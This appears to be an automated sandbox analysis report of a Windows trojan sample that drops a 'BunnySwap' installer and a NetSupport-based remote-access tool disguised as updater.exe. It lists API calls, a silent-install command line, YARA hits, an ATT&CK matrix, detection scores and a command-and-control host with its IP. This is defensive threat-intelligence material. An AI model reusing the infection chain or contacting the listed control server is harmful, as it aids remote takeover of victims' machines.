Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_01117363 mov eax, dword ptr fs:[00000030h]

1_2_01117363

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_1117D104 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

6_2_1117D104

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110EEB3 SetUnhandledExceptionFilter,	1_2_0110EEB3
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110F07B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0110F07B
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_0110ED65 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0110ED65
Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: 1_2_011184EF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_011184EF
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	6_2_11031780
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_11162BB7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_11162BB7
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_1116EC49 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_1116EC49
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: 6_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	6_2_110934A0

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Code function: 5_2_006A4AF0 ShellExecuteExW,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

5_2_006A4AF0

Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe

Code function: 6_2_11113190 GetKeyState,DeviceIoControl,keybd_event,

6_2_11113190

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe 'C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe' /VERYSILENT /SP-

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Code function: 5_2_005C78B8 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,

5_2_005C78B8

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Code function: 5_2_005C6A5C AllocateAndInitializeSid,GetVersion,GetModuleHandleW,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

5_2_005C6A5C

Source: updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: updater.exe, 00000006.00000002.916863693.0000000001960000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: updater.exe, 00000006.00000002.916863693.0000000001960000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: updater.exe	Binary or memory string: Progman
Source: updater.exe, 00000006.00000002.916863693.0000000001960000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_0110EBBB cpuid

1_2_0110EBBB

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	1_2_0110A5BC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	4_2_0040B044
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: GetLocaleInfoW,	4_2_0041E034
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: GetLocaleInfoW,	4_2_0041E080
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: GetLocaleInfoW,	4_2_004AF218
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	4_2_0040A4CC
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	5_2_0040E7F0
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	5_2_0040DC78
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Code function: GetLocaleInfoW,	5_2_0060FD58
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_11174B29
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	6_2_11174B90
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	6_2_11174BCC
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: GetLocaleInfoA,	6_2_1116C24E
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_111746A1

Source: C:\Users\user\Desktop\iumk21HlC8.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp

Code function: 5_2_00625580 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeW,GetLastError,CreateFileW,SetNamedPipeHandleState,CreateProcessW,CloseHandle,CloseHandle,

5_2_00625580

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_0110D42A GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

1_2_0110D42A

Source: C:\Users\user\Desktop\iumk21HlC8.exe

Code function: 1_2_010FAC35 GetVersionExW,

1_2_010FAC35

Source: Yara match	File source: 6.2.updater.exe.111b8c68.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.updater.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.updater.exe.6eb30000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.updater.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.updater.exe.6d200000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.updater.exe.6cf70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.updater.exe.11000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.669928645.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: updater.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-GM773.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-4P5R4.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-R69AL.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-D0B6K.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-DKH09.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-GPOHH.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-60MAI.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-AI8EO.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-8A4MH.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-56656.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsAutorityCerts\is-6QR8B.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Windows Management Instrumentation1	Startup Items1	Startup Items1	Deobfuscate/Decode Files or Information1	Input Capture2	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Native API1	DLL Side-Loading1	Exploitation for Privilege Escalation1	Obfuscated Files or Information3	LSASS Memory	File and Directory Discovery2	Remote Desktop Protocol	Screen Capture1	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter3	Application Shimming1	DLL Side-Loading1	Software Packing2	Security Account Manager	System Information Discovery46	SMB/Windows Admin Shares	Input Capture2	Automated Exfiltration	Non-Standard Port11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Valid Accounts1	Application Shimming1	DLL Side-Loading1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Registry Run Keys / Startup Folder2	Valid Accounts1	Masquerading1	LSA Secrets	Security Software Discovery141	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Access Token Manipulation11	Valid Accounts1	Cached Domain Credentials	Virtualization/Sandbox Evasion1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Process Injection13	Virtualization/Sandbox Evasion1	DCSync	Process Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Registry Run Keys / Startup Folder2	Access Token Manipulation11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection13	/etc/passwd and /etc/shadow	System Owner/User Discovery2	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
iumk21HlC8.exe	51%	Virustotal		Browse
iumk21HlC8.exe	14%	Metadefender		Browse
iumk21HlC8.exe	40%	ReversingLabs	Win32.Infostealer.ChePro

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	11%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe	36%	ReversingLabs	Win32.Infostealer.ChePro
C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_isdecmp.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_setup64.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp	2%	ReversingLabs
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\HTCTL32.DLL (copy)	0%	Metadefender		Browse
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\HTCTL32.DLL (copy)	3%	ReversingLabs
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICHEK.DLL (copy)	3%	Metadefender		Browse
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICHEK.DLL (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICL32.DLL (copy)	3%	Metadefender		Browse
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICL32.DLL (copy)	7%	ReversingLabs	Win32.Trojan.NetSupportManager
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\TCCTL32.DLL (copy)	0%	Metadefender		Browse
C:\Users\user\AppData\Roaming\WindowsAutorityCerts\TCCTL32.DLL (copy)	3%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.updater.exe.820000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.updater.exe.111b8c68.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.updater.exe.820000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
coinduck.duckdns.org	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.pci.co.uk/support	0%	Virustotal		Browse
http://www.pci.co.uk/support	0%	Avira URL Cloud	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://get-scatter.com	0%	Virustotal		Browse
https://get-scatter.com	0%	Avira URL Cloud	safe
https://swap.bunnypark.com	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.pci.co.uk/supportsupport	0%	Avira URL Cloud	safe
http://127.0.0.1RESUMEPRINTING	0%	Avira URL Cloud	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
http://188.165.207.8/fakeurl.htm	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
http://cscasha2.ocsp-certum.com04	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
https://www.innosetup.com/	0%	URL Reputation	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
https://jrsoftware.org0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geography.netsupportsoftware.com	62.172.138.35	true	false		high
coinduck.duckdns.org	188.165.207.8	true	true	1%, Virustotal, Browse	unknown
geo.netsupportsoftware.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false		high
http://188.165.207.8/fakeurl.htm	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	BunnySwap.exe, 00000004.00000002.676482975.0000000000401000.00000020.00020000.sdmp, BunnySwap.exe.1.dr	false		high
http://www.pci.co.uk/support	updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://%s/testpage.htmwininet.dll	updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr	false	Avira URL Cloud: safe	low
https://sectigo.com/CPS0	is-D0B6K.tmp.5.dr	false	URL Reputation: safe	unknown
http://repository.certum.pl/ctnca.cer09	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
https://get-scatter.com	BunnySwap.tmp, 00000005.00000002.671376754.000000000018C000.00000004.00000001.sdmp, iumk21HlC8.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://repository.certum.pl/cscasha2.cer0	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
https://swap.bunnypark.com	BunnySwap.exe, 00000004.00000003.658767833.00000000024C0000.00000004.00000001.sdmp, BunnySwap.tmp, 00000005.00000003.664364248.0000000003540000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	false		high
http://ocsp.sectigo.com0	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	false	URL Reputation: safe	unknown
http://www.pci.co.uk/supportsupport	updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca.crl0k	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.asp:	updater.exe, 00000006.00000003.673929748.0000000005EF1000.00000004.00000001.sdmp	false		high
http://127.0.0.1RESUMEPRINTING	updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://%s/testpage.htm	updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr	false	Avira URL Cloud: safe	low
https://www.certum.pl/CPS0	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
http://127.0.0.1	updater.exe, 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/cscasha2.crl0q	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
http://%s/fakeurl.htm	updater.exe, 00000006.00000002.925794243.000000006D240000.00000002.00020000.sdmp, is-AI8EO.tmp.5.dr	false	Avira URL Cloud: safe	low
https://jrsoftware.org/ishelp/index.php?topic=setupcmdline	BunnySwap.exe	false		high
http://cscasha2.ocsp-certum.com04	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	false	URL Reputation: safe	unknown
https://www.remobjects.com/ps	BunnySwap.exe, 00000004.00000003.660271427.000000007FBD0000.00000004.00000001.sdmp, BunnySwap.tmp	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	false	URL Reputation: safe	unknown
http://subca.ocsp-certum.com01	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://www.innosetup.com/	BunnySwap.exe, 00000004.00000003.660271427.000000007FBD0000.00000004.00000001.sdmp, BunnySwap.tmp, BunnySwap.tmp, 00000005.00000000.663423395.0000000000401000.00000020.00020000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0D	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp, iumk21HlC8.exe	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/%	updater.exe, 00000006.00000003.675162902.00000000012C5000.00000004.00000001.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp11(L	updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	false		high
https://secure.comodo.com/CPS0L	is-D0B6K.tmp.5.dr	false		high
https://jrsoftware.org0	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://jrsoftware.org/	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.asp6f	updater.exe, 00000006.00000002.916734288.00000000012C0000.00000004.00000001.sdmp	false		high
http://www.certum.pl/CPS0	BunnySwap.tmp, 00000005.00000003.670795832.00000000024F0000.00000004.00000001.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp	updater.exe, 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.165.207.8	coinduck.duckdns.org	France		16276	OVHFR	true
62.172.138.35	geography.netsupportsoftware.com	United Kingdom		5400	BTGB	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	460244
Start date:	05.08.2021
Start time:	23:39:48
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	iumk21HlC8 (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.troj.evad.winEXE@7/59@2/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 16.9% (good quality ratio 16.3%) Quality average: 75% Quality standard deviation: 26%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 23.211.6.115, 40.88.32.150, 168.61.161.212, 52.113.196.254, 13.107.3.254, 13.107.246.254, 168.62.200.169, 20.82.210.154, 20.54.110.249, 40.112.88.60, 8.253.190.120, 8.238.85.254, 8.248.141.254, 8.248.143.254, 8.248.93.254, 80.67.82.211, 80.67.82.235, 20.82.209.104 Excluded domains from analysis (whitelisted): s-ring.msedge.net, store-images.s-microsoft.com-c.edgekey.net, browser.events.data.trafficmanager.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, iris-de-ppe-azsc-neu.northeurope.cloudapp.azure.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, teams-9999.teams-msedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, skypedataprdcolwus13.cloudapp.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, s-ring.s-9999.s-msedge.net, t-ring.msedge.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, t-9999.t-msedge.net, store-images.s-microsoft.com, s-9999.s-msedge.net, blobcollector.events.data.trafficmanager.net, teams-ring.teams-9999.teams-msedge.net, teams-ring.msedge.net, t-ring.t-9999.t-msedge.net, browser.pipe.aria.microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
188.165.207.8	FxWNeUN38R.exe	Get hash	malicious	Browse	http://188.165.207.8/fakeurl.htm
	nW9eFZXjpf.exe	Get hash	malicious	Browse	http://188.165.207.8/fakeurl.htm
	7CiwBIK7nr.exe	Get hash	malicious	Browse	http://188.165.207.8/fakeurl.htm
	978B4AC05A227B23EF7E4FADFF92966339BA1413BAC5A.exe	Get hash	malicious	Browse	http://188.165.207.8/fakeurl.htm
62.172.138.35	nW9eFZXjpf.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	7CiwBIK7nr.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	q8WFOdgV7p.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	2DAAD8278E0DDD4D247303ACED4B1D41C75CE94BE3A9E.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	B7E88D00739D77F482B500B254C222AE19171E68A5CD5.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	a4PazaYY7f.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	xaX6mmXI4G.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	LzJm2ZVFZP.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	k7RTSsK5dM.doc	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	signed_gate6.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	photo754334.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	Iridium Constellation LLC.slk	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	d.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	d.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	https://skripidigs.xyz/ch.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	download (1).hta	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	http://opsjaytcx.com/js.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	download.hta	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp
	DVGQ2WserV.exe	Get hash	malicious	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

